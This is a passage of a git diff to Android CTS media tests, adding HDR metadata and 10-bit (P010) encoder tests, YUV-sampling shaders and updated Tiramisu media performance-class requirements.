+                tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".webm");
             } else {
                 muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
-                tmpFile = File.createTempFile("tmp", ".mp4");
+                tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".mp4");
             }
             mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
-            configureCodec(mConfigFormat, true, true, true);
+            // When in surface mode, encoder needs to be configured in async mode
+            boolean isAsync = mSurfaceMode;
+            configureCodec(mConfigFormat, isAsync, true, true);
+
+            if (mSurfaceMode) {
+                mInpSurface = mCodec.createInputSurface();
+                assertTrue("Surface is not valid", mInpSurface.isValid());
+                mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface, mUseHighBitDepth);
+                if (mCodec.getInputFormat().containsKey(MediaFormat.KEY_LATENCY)) {
+                    mReviseLatency = true;
+                    mLatency = mCodec.getInputFormat().getInteger(MediaFormat.KEY_LATENCY);
+                }
+            }
             mCodec.start();
             doWork(4);
             queueEOS();
@@ -175,6 +342,16 @@
                 mMuxer.release();
                 mMuxer = null;
             }
+
+            if (mEGLWindowInpSurface != null) {
+                mEGLWindowInpSurface.release();
+                mEGLWindowInpSurface = null;
+            }
+            if (mInpSurface != null) {
+                mInpSurface.release();
+                mInpSurface = null;
+            }
+
             assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
             assertTrue(log + "no input sent", 0 != mInputCount);
             assertTrue(log + "output received", 0 != mOutputCount);
@@ -185,19 +362,25 @@
             mCodec.release();
 
             // verify if the muxed file contains color aspects as expected
-            CodecDecoderTestBase cdtb = new CodecDecoderTestBase(null, mMime, null);
+            MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            String decoder = codecList.findDecoderForFormat(mConfigFormat);
+            assertNotNull("Device advertises support for encoding " + mConfigFormat.toString() +
+                    " but not decoding it", decoder);
+            CodecDecoderTestBase cdtb = new CodecDecoderTestBase(decoder, mMime,
+                    tmpFile.getAbsolutePath());
             String parent = tmpFile.getParent();
             if (parent != null) parent += File.separator;
             else parent = "";
-            cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+            cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
                     mTransferCurve, false);
 
             // if color metadata can also be signalled via elementary stream then verify if the
             // elementary stream contains color aspects as expected
             if (mCheckESList.contains(mMime)) {
-                cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+                cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
                         mTransferCurve, true);
             }
+            tmpFile.delete();
         }
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
new file mode 100644
index 0000000..26c6eb5
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.os.Build;
+import android.os.Bundle;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Test to validate hdr static and dynamic metadata in encoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class EncoderHDRInfoTest extends CodecEncoderTestBase {
+    private static final String LOG_TAG = EncoderHDRInfoTest.class.getSimpleName();
+    private MediaMuxer mMuxer;
+    private int mTrackID = -1;
+
+    static final ArrayList<String> mCheckESList = new ArrayList<>();
+
+    static {
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+    }
+
+    public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate, int width,
+            int height, boolean testDynamicMetadata) {
+        super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height});
+        mTestDynamicMetadata = testDynamicMetadata;
+    }
+
+    void enqueueInput(int bufferIndex) {
+        if(mTestDynamicMetadata){
+            final Bundle params = new Bundle();
+            byte[] info = loadByteArrayFromString(HDR_DYNAMIC_INFO[mInputCount]);
+            params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
+            mCodec.setParameters(params);
+            if (mInputCount >= HDR_DYNAMIC_INFO.length) {
+                mSawInputEOS = true;
+            }
+        }
+        super.enqueueInput(bufferIndex);
+    }
+    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex);
+        if (info.size > 0) {
+            ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
+            if (mMuxer != null) {
+                if (mTrackID == -1) {
+                    mTrackID = mMuxer.addTrack(bufferFormat);
+                    mMuxer.start();
+                }
+                mMuxer.writeSampleData(mTrackID, buf, info);
+            }
+        }
+        super.dequeueOutput(bufferIndex, info);
+        // verify if the out fmt contains HDR Dynamic metadata as expected
+        if (mTestDynamicMetadata && mOutputCount > 0) {
+            validateHDRDynamicMetaData(bufferFormat,
+                    ByteBuffer.wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount - 1])));
+        }
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = true;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, false},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, false},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, false},
+
+                {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, true},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, true},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, true},
+        });
+
+        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+    }
+
+    @SmallTest
+    @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+    public void testHDRMetadata() throws IOException, InterruptedException {
+        int profile;
+        setUpParams(1);
+        MediaFormat format = mFormats.get(0);
+        final ByteBuffer hdrStaticInfo = ByteBuffer.wrap(loadByteArrayFromString(HDR_STATIC_INFO));
+        if (mTestDynamicMetadata) {
+            profile = mProfileHdr10PlusMap.getOrDefault(mMime, new int[]{-1})[0];
+        } else {
+            profile = mProfileHdr10Map.getOrDefault(mMime, new int[]{-1})[0];
+        }
+        format.setInteger(MediaFormat.KEY_PROFILE, profile);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+        format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+        format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020);
+        format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084);
+        format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, hdrStaticInfo);
+        mFormats.clear();
+        mFormats.add(format);
+        Assume.assumeTrue(mCodecName + " does not support this HDR profile",
+                areFormatsSupported(mCodecName, mMime, mFormats));
+        Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010",
+                hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+        mBytesPerSample = 2;
+        setUpSource(INPUT_VIDEO_FILE_HBD);
+        mOutputBuff = new OutputManager();
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        mOutputBuff.reset();
+        String log = String.format("format: %s \n codec: %s:: ", format, mCodecName);
+        File tmpFile;
+        int muxerFormat;
+        if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+            muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
+            tmpFile = File.createTempFile("tmp10bit", ".webm");
+        } else {
+            muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
+            tmpFile = File.createTempFile("tmp10bit", ".mp4");
+        }
+        mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
+        configureCodec(format, true, true, true);
+        mCodec.start();
+        doWork(4);
+        queueEOS();
+        waitForAllOutputs();
+        if (mTrackID != -1) {
+            mMuxer.stop();
+            mTrackID = -1;
+        }
+        if (mMuxer != null) {
+            mMuxer.release();
+            mMuxer = null;
+        }
+        assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
+        assertTrue(log + "no input sent", 0 != mInputCount);
+        assertTrue(log + "output received", 0 != mOutputCount);
+
+        MediaFormat fmt = mCodec.getOutputFormat();
+        mCodec.stop();
+        mCodec.release();
+
+        // verify if the out fmt contains HDR Static metadata as expected
+        validateHDRStaticMetaData(fmt, hdrStaticInfo);
+
+        // verify if the muxed file contains HDR metadata as expected
+        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        String decoder = codecList.findDecoderForFormat(format);
+        assertNotNull("Device advertises support for encoding " + format.toString() +
+                " but not decoding it", decoder);
+        CodecDecoderTestBase cdtb =
+                new CodecDecoderTestBase(decoder, mMime, tmpFile.getAbsolutePath());
+        String parent = tmpFile.getParent();
+        if (parent != null) parent += File.separator;
+        else parent = "";
+        cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, false);
+        if (mTestDynamicMetadata) {
+            cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), false);
+        }
+
+        // if HDR static metadata can also be signalled via elementary stream then verify if
+        // the elementary stream contains HDR static data as expected
+        if (mCheckESList.contains(mMime)) {
+            cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, true);
+
+            // since HDR static metadata is signalled via elementary stream then verify if
+            // the elementary stream contains HDR static data as expected
+            if (mTestDynamicMetadata) {
+                cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), true);
+            }
+        }
+
+        tmpFile.delete();
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index 741402f..c196d6e 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -38,6 +38,7 @@
 import java.util.HashMap;
 import java.util.List;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
 import static android.media.MediaCodecInfo.CodecProfileLevel.*;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -52,12 +53,15 @@
     private static final String LOG_TAG = EncoderProfileLevelTest.class.getSimpleName();
     private static final HashMap<String, Pair<int[], Integer>> mProfileLevelCdd = new HashMap<>();
 
+    private final boolean mUseHighBitDepth;
+
     private MediaFormat mConfigFormat;
     private MediaMuxer mMuxer;
 
     public EncoderProfileLevelTest(String encoder, String mime, int bitrate, int encoderInfo1,
-            int encoderInfo2, int frameRate) {
+            int encoderInfo2, int frameRate, boolean useHighBitDepth) {
         super(encoder, mime, new int[]{bitrate}, new int[]{encoderInfo1}, new int[]{encoderInfo2});
+        mUseHighBitDepth = useHighBitDepth;
         if (mIsAudio) {
             mSampleRate = encoderInfo1;
             mChannels = encoderInfo2;
@@ -70,7 +74,7 @@
         mConfigFormat = mFormats.get(0);
     }
 
-    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{2}_{3}_{4}_{6})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = true;
@@ -185,8 +189,25 @@
                 {MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 176, 144, 20},
                 {MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 480, 360, 20},
         });
-
-        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+        final List<Object[]> argsList = new ArrayList<>();
+        for (Object[] arg : exhaustiveArgsList) {
+            int argLength = exhaustiveArgsList.get(0).length;
+            Object[] testArgs = new Object[argLength + 1];
+            System.arraycopy(arg, 0, testArgs, 0, argLength);
+            testArgs[argLength] = false;
+            argsList.add(testArgs);
+            // P010 support was added in Android T, hence limit the following tests to Android T and
+            // above
+            if (IS_AT_LEAST_T) {
+                if (mProfileHdrMap.get(arg[0]) != null) {
+                    Object[] testArgsHighBitDepth = new Object[argLength + 1];
+                    System.arraycopy(arg, 0, testArgsHighBitDepth, 0, argLength);
+                    testArgsHighBitDepth[argLength] = true;
+                    argsList.add(testArgsHighBitDepth);
+                }
+            }
+        }
+        return prepareParamList(argsList, isEncoder, needAudio, needVideo, false);
     }
 
     static {
@@ -649,8 +670,26 @@
      */
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testValidateProfileLevel() throws IOException, InterruptedException {
-        int[] profiles = mProfileSdrMap.get(mMime);
+        int[] profiles;
+        String inputTestFile = mInputFile;
+        MediaFormat format = mConfigFormat;
+        String outputFilePrefix = "tmp";
+        if (mIsAudio) {
+            profiles = mProfileMap.get(mMime);
+        } else {
+            if (mUseHighBitDepth) {
+                Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+                format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+                mBytesPerSample = 2;
+                inputTestFile = INPUT_VIDEO_FILE_HBD;
+                outputFilePrefix += "_10bit";
+                profiles = mProfileHlgMap.get(mMime);
+            } else {
+                profiles = mProfileSdrMap.get(mMime);
+            }
+        }
         assertTrue("no profile entry found for mime" + mMime, profiles != null);
+
         // cdd check initialization
         boolean cddSupportedMime = mProfileLevelCdd.get(mMime) != null;
         int[] profileCdd = new int[0];
@@ -660,11 +699,11 @@
             profileCdd = cddProfileLevel.first;
             levelCdd = cddProfileLevel.second;
         }
-        MediaFormat format = mConfigFormat;
         mOutputBuff = new OutputManager();
-        setUpSource(mInputFile);
+        setUpSource(inputTestFile);
         mSaveToMem = true;
-        String tempMuxedFile = File.createTempFile("tmp", ".out").getAbsolutePath();
+
+        String tempMuxedFile = File.createTempFile(outputFilePrefix, ".bin").getAbsolutePath();
         {
             mCodec = MediaCodec.createByCodecName(mCodecName);
             MediaCodecInfo.CodecCapabilities codecCapabilities =
diff --git a/tests/media/src/android/mediav2/cts/OutputSurface.java b/tests/media/src/android/mediav2/cts/OutputSurface.java
index f62cde9..03856a2 100644
--- a/tests/media/src/android/mediav2/cts/OutputSurface.java
+++ b/tests/media/src/android/mediav2/cts/OutputSurface.java
@@ -64,15 +64,19 @@
      * EGL context and surface will be made current.  Creates a Surface that can be passed
      * to MediaCodec.configure().
      */
-    public OutputSurface(int width, int height) {
+    public OutputSurface(int width, int height, boolean useHighBitDepth) {
+        this(width, height, useHighBitDepth, /* useYuvSampling */ false);
+    }
+
+    public OutputSurface(int width, int height, boolean useHighBitDepth, boolean useYuvSampling) {
         if (width <= 0 || height <= 0) {
             throw new IllegalArgumentException();
         }
 
-        eglSetup(width, height);
+        eglSetup(width, height, useHighBitDepth, useYuvSampling);
         makeCurrent();
 
-        setup(this);
+        setup(this, useYuvSampling);
     }
 
     /**
@@ -80,23 +84,24 @@
      * new one).  Creates a Surface that can be passed to MediaCodec.configure().
      */
     public OutputSurface() {
-        setup(this);
+        setup(this, /* useYuvSampling */ false);
     }
 
     public OutputSurface(final SurfaceTexture.OnFrameAvailableListener listener) {
-        setup(listener);
+        setup(listener, /* useYuvSampling */ false);
     }
 
     /**
      * Creates instances of TextureRender and SurfaceTexture, and a Surface associated
      * with the SurfaceTexture.
      */
-    private void setup(SurfaceTexture.OnFrameAvailableListener listener) {
+    private void setup(SurfaceTexture.OnFrameAvailableListener listener, boolean useYuvSampling) {
         assertTrue(EGL14.eglGetCurrentContext() != EGL14.EGL_NO_CONTEXT);
         assertTrue(EGL14.eglGetCurrentDisplay() != EGL14.EGL_NO_DISPLAY);
         assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW) != EGL14.EGL_NO_SURFACE);
         assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_READ) != EGL14.EGL_NO_SURFACE);
         mTextureRender = new TextureRender();
+        mTextureRender.setUseYuvSampling(useYuvSampling);
         mTextureRender.surfaceCreated();
 
         // Even if we don't access the SurfaceTexture after the constructor returns, we
@@ -125,7 +130,7 @@
     /**
      * Prepares EGL.  We want a GLES 2.0 context and a surface that supports pbuffer.
      */
-    private void eglSetup(int width, int height) {
+    private void eglSetup(int width, int height, boolean useHighBitDepth, boolean useYuvSampling) {
         mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
         if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
             throw new RuntimeException("unable to get EGL14 display");
@@ -138,10 +143,13 @@
 
         // Configure EGL for pbuffer and OpenGL ES 2.0.  We want enough RGB bits
         // to be able to tell if the frame is reasonable.
+        int eglColorSize = useHighBitDepth ? 10: 8;
+        int eglAlphaSize = useHighBitDepth ? 2: 0;
         int[] attribList = {
-                EGL14.EGL_RED_SIZE, 8,
-                EGL14.EGL_GREEN_SIZE, 8,
-                EGL14.EGL_BLUE_SIZE, 8,
+                EGL14.EGL_RED_SIZE, eglColorSize,
+                EGL14.EGL_GREEN_SIZE, eglColorSize,
+                EGL14.EGL_BLUE_SIZE, eglColorSize,
+                EGL14.EGL_ALPHA_SIZE, eglAlphaSize,
                 EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
                 EGL14.EGL_SURFACE_TYPE, EGL14.EGL_PBUFFER_BIT,
                 EGL14.EGL_NONE
@@ -153,9 +161,10 @@
             throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
         }
 
-        // Configure context for OpenGL ES 2.0.
+        // Configure context for OpenGL ES 3.0/2.0.
+        int eglContextClientVersion = useYuvSampling ? 3: 2;
         int[] attrib_list = {
-                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+                EGL14.EGL_CONTEXT_CLIENT_VERSION, eglContextClientVersion,
                 EGL14.EGL_NONE
         };
         mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
diff --git a/tests/media/src/android/mediav2/cts/TextureRender.java b/tests/media/src/android/mediav2/cts/TextureRender.java
index 4cda868..548ff03 100644
--- a/tests/media/src/android/mediav2/cts/TextureRender.java
+++ b/tests/media/src/android/mediav2/cts/TextureRender.java
@@ -49,7 +49,7 @@
 
     private FloatBuffer mTriangleVertices;
 
-    private static final String VERTEX_SHADER =
+    private static final String VERTEX_SHADER_RGB =
             "uniform mat4 uMVPMatrix;\n" +
             "uniform mat4 uSTMatrix;\n" +
             "attribute vec4 aPosition;\n" +
@@ -60,7 +60,7 @@
             "  vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
             "}\n";
 
-    private static final String FRAGMENT_SHADER =
+    private static final String FRAGMENT_SHADER_RGB =
             "#extension GL_OES_EGL_image_external : require\n" +
             "precision mediump float;\n" +      // highp here doesn't seem to matter
             "varying vec2 vTextureCoord;\n" +
@@ -69,6 +69,30 @@
             "  gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
             "}\n";
 
+    private static final String VERTEX_SHADER_YUV =
+            "#version 300 es\n" +
+            "uniform mat4 uMVPMatrix;\n" +
+            "uniform mat4 uSTMatrix;\n" +
+            "in vec4 aPosition;\n" +
+            "in vec4 aTextureCoord;\n" +
+            "out vec2 vTextureCoord;\n" +
+            "void main() {\n" +
+            "  gl_Position = uMVPMatrix * aPosition;\n" +
+            "  vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
+            "}\n";
+
+    private static final String FRAGMENT_SHADER_YUV =
+            "#version 300 es\n" +
+            "#extension GL_OES_EGL_image_external : require\n" +
+            "#extension GL_EXT_YUV_target : require\n" +
+            "precision mediump float;\n" +      // highp here doesn't seem to matter
+            "uniform __samplerExternal2DY2YEXT uTexSampler;\n" +
+            "in vec2 vTextureCoord;\n" +
+            "out vec4 outColor;\n" +
+            "void main() {\n" +
+            "    outColor = texture(uTexSampler, vTextureCoord);\n" +
+            "}\n";
+
     private float[] mMVPMatrix = new float[16];
     private float[] mSTMatrix = new float[16];
 
@@ -78,6 +102,7 @@
     private int muSTMatrixHandle;
     private int maPositionHandle;
     private int maTextureHandle;
+    private boolean mUseYuvSampling;
 
     public TextureRender() {
         mTriangleVertices = ByteBuffer.allocateDirect(
@@ -86,6 +111,11 @@
         mTriangleVertices.put(mTriangleVerticesData).position(0);
 
         Matrix.setIdentityM(mSTMatrix, 0);
+        mUseYuvSampling = false;
+    }
+
+    public void setUseYuvSampling(boolean useYuvSampling) {
+        mUseYuvSampling = useYuvSampling;
     }
 
     public int getTextureId() {
@@ -132,7 +162,11 @@
      * Initializes GL state.  Call this after the EGL surface has been created and made current.
      */
     public void surfaceCreated() {
-        mProgram = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
+        if (mUseYuvSampling == false) {
+            mProgram = createProgram(VERTEX_SHADER_RGB, FRAGMENT_SHADER_RGB);
+        } else {
+            mProgram = createProgram(VERTEX_SHADER_YUV, FRAGMENT_SHADER_YUV);
+        }
         if (mProgram == 0) {
             throw new RuntimeException("failed creating program");
         }
@@ -183,7 +217,7 @@
      */
     public void changeFragmentShader(String fragmentShader) {
         GLES20.glDeleteProgram(mProgram);
-        mProgram = createProgram(VERTEX_SHADER, fragmentShader);
+        mProgram = createProgram(VERTEX_SHADER_RGB, fragmentShader);
         if (mProgram == 0) {
             throw new RuntimeException("failed creating program");
         }
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 9424638..774595c 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases-2.2/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-2.4/");
         }
     }
 }
diff --git a/tests/mediapc/AndroidManifest.xml b/tests/mediapc/AndroidManifest.xml
index 20d030e..bbb1934 100644
--- a/tests/mediapc/AndroidManifest.xml
+++ b/tests/mediapc/AndroidManifest.xml
@@ -23,6 +23,8 @@
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.INTERNET" />
 
     <application
         android:requestLegacyExternalStorage="true"
diff --git a/tests/mediapc/AndroidTest.xml b/tests/mediapc/AndroidTest.xml
index dcc8995..dc36e58 100644
--- a/tests/mediapc/AndroidTest.xml
+++ b/tests/mediapc/AndroidTest.xml
@@ -24,6 +24,11 @@
         <option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.2" />
diff --git a/tests/mediapc/README.md b/tests/mediapc/README.md
index f21aeb9..b2d0918 100644
--- a/tests/mediapc/README.md
+++ b/tests/mediapc/README.md
@@ -4,7 +4,19 @@
 The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.2.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 ### Commands
+#### To run all tests in CtsMediaPerformanceClassTestCases
 ```sh
-$ atest android.mediapc.cts
-$ atest android.mediapc.cts.PeformanceClassTest
+$ atest CtsMediaPerformanceClassTestCases
+```
+#### To run a subset of tests in CtsMediaPerformanceClassTestCases
+```sh
+$ atest CtsMediaPerformanceClassTestCases:android.mediapc.cts.FrameDropTest
+```
+#### To run all tests in CtsMediaPerformanceClassTestCases by overriding Build.VERSION.MEDIA_PERFORMANCE_CLASS
+In some cases it might be useful to override Build.VERSION.MEDIA_PERFORMANCE_CLASS and run the tests.
+For eg: when the device doesn't advertise Build.VERSION.MEDIA_PERFORMANCE_CLASS, running the tests by overriding
+this will help in determining the which performance class requirements are met by the device.
+Following runs the tests by overriding Build.VERSION.MEDIA_PERFORMANCE_CLASS as S.
+```sh
+$ atest CtsMediaPerformanceClassTestCases -- --module-arg CtsMediaPerformanceClassTestCases:instrumentation-arg:media-performance-class:=31
 ```
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
index ac1905c..e851d39 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
@@ -20,20 +20,17 @@
 
 import static org.junit.Assume.assumeTrue;
 
+import android.media.MediaFormat;
 import android.os.Build;
 
-import androidx.test.filters.SmallTest;
-
 import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableMap;
 
+import java.util.ArrayList;
+import java.util.Arrays;
 import org.junit.rules.TestName;
-import org.junit.Test;
 
 import java.util.HashSet;
 import java.util.Set;
-import java.util.HashMap;
-import java.util.Map;
 
 /**
  * Logs a set of measurements and results for defined performance class requirements.
@@ -96,12 +93,14 @@
                 .setId(RequirementConstants.LONG_RESOLUTION)
                 .setPredicate(RequirementConstants.INTEGER_GTE)
                 .addRequiredValue(Build.VERSION_CODES.S, 1920)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1920)
                 .build();
             RequiredMeasurement<Integer> short_resolution = RequiredMeasurement
                 .<Integer>builder()
                 .setId(RequirementConstants.SHORT_RESOLUTION)
                 .setPredicate(RequirementConstants.INTEGER_GTE)
                 .addRequiredValue(Build.VERSION_CODES.S, 1080)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1080)
                 .build();
 
             return new ResolutionRequirement(RequirementConstants.R7_1_1_1__H_2_1, long_resolution,
@@ -144,13 +143,14 @@
                 .setId(RequirementConstants.DISPLAY_DENSITY)
                 .setPredicate(RequirementConstants.INTEGER_GTE)
                 .addRequiredValue(Build.VERSION_CODES.S, 400)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 400)
                 .build();
 
             return new DensityRequirement(RequirementConstants.R7_1_1_3__H_2_1, display_density);
         }
     }
 
-    // used for requirements [7.6.1/H-1-1], [7.6.1/H-2-1], [7.6.1/H-3-1]
+    // used for requirements [7.6.1/H-1-1], [7.6.1/H-2-1]
     public static class MemoryRequirement extends Requirement {
         private static final String TAG = MemoryRequirement.class.getSimpleName();
 
@@ -179,22 +179,829 @@
         }
 
         /**
-         * [7.6.1/H-2-1] MUST have at least 6 GB of physical memory.
+         * [7.6.1/H-2-1] MUST have at least 6/8 GB of physical memory.
          */
         public static MemoryRequirement createR7_6_1__H_2_1() {
             RequiredMeasurement<Long> physical_memory = RequiredMeasurement
                 .<Long>builder()
                 .setId(RequirementConstants.PHYSICAL_MEMORY)
                 .setPredicate(RequirementConstants.LONG_GTE)
-                // Media performance requires 6 GB minimum RAM, but keeping the following to 5 GB
-                // as activityManager.getMemoryInfo() returns around 5.4 GB on a 6 GB device.
+                // Media performance requires 6/8 GB minimum RAM, but keeping the following to
+                // 5/7 GB as activityManager.getMemoryInfo() returns around 5.4 GB on a 6 GB device.
                 .addRequiredValue(Build.VERSION_CODES.S, 5L * 1024L)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 7L * 1024L)
                 .build();
 
             return new MemoryRequirement(RequirementConstants.R7_6_1__H_2_1, physical_memory);
         }
     }
 
+    // used for requirements [8.2/H-1-1], [8.2/H-1-2], [8.2/H-1-3], [8.2/H-1-4]
